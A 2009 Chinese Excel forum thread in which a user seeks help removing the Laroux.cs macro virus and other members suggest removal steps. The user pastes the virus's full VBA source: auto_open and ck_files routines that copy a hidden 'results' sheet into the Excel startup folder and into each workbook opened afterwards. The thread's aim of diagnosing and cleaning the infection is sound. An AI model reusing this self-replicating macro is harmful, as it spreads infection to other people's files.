EXCEL中了laroux.cs病毒

onthetrip

症状:(1)双击打开excel.exe后没有工作表,必须新建工作表;(2)使用GET.WORKBOOK(1)宏表函数始终有一个名为results的隐藏工作表;(3)在别的电脑打开我的excel文档卡巴提示有virus.msexcel.laroux.cs病毒(4)工作表的激活事件被指定为CK.FILES
请问应该怎么清除此病毒?

[ 本帖最后由 onthetrip 于 2009-11-3 14:34 编辑 ]

qbliu

不一定是中毒了，
你可以将excel档案上传上来看看！！

bibisin

Macro.Excel.Laroux.cs　　病毒别名：
　　处理时间：
　　威胁级别：★
　　中文名称：
　　病毒类型：宏病毒
　　影响系统：
　　病毒行为:
　　1. 将工作表的激活事件指定为“ck_files”。
　　2. 在 Excel 的启动目录下生成“Results.xls”文件并隐藏地打开以便调用其“ck_files”函数。

百度到的,但根治并没有提及,卡巴报告后有无杀毒呢,还是直接扔隔离区了

onthetrip

原帖由 bibisin 于 2009-11-3 21:44 发表
Macro.Excel.Laroux.cs　　病毒别名：
　　处理时间：
　　威胁级别：★
　　中文名称：
　　病毒类型：宏病毒
　　影响系统：
　　病毒行为:
　　1. 将工作表的激活事件指定为“ck_files”。
　　2. 在 Exc ...

我的电脑上装的是金山（我的excel文档在同事的电脑上被卡巴检测到）,检测不到病毒。怎么扔到隔离区呢？网络上也没有搜索到此病毒的解决方法
我的excel文档

[ 本帖最后由 onthetrip 于 2009-11-4 08:16 编辑 ]

qbliu

我无法下载你的附件，被杀毒软件隔离了！！
只能给点建议，你试试看是否能行
你应该已经中了此宏病毒
1.先关闭所有excel文档
2.在excel启动目录下将Results.xls删除（可能无法删除）启动目录一般为
C:\Documents and Settings\你的用户名\Application Data\Microsoft\Excel\XLSTART
3.打开工作薄的时候按住shift（防止outo事件发生）--当然如果写在activitie事件里面我们也没辙
4.打开后alt+f11打开VBE编辑器，删除你能看到的所有代码
然后重启excel

onthetrip

谢谢你!
1、我能找到application data\microsoft\office\data,但找不到你说的excel\xlstart的目录
2、用删除的方法无效，即使按住shift
模块results的代码如下：
Sub auto_open()
    Application.OnSheetActivate = "ck_files"
End Sub

Sub ck_files()
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "RESULTS.XLS")
    If m$ = "RESULTS.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
   
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("results").Visible = True
    Sheets("results").Select
    Sheets("results").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("results").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "results" Then
        Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("results").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case Else
End Select
End Sub
请各位帮助解决一下

[ 本帖最后由 onthetrip 于 2009-11-4 11:31 编辑 ]

onthetrip

各位高手,帮忙看一下啊

onthetrip

找了很久,终于在找到了,还是在EH论坛里http://club.excelhome.net/viewth ... p;extra=&page=1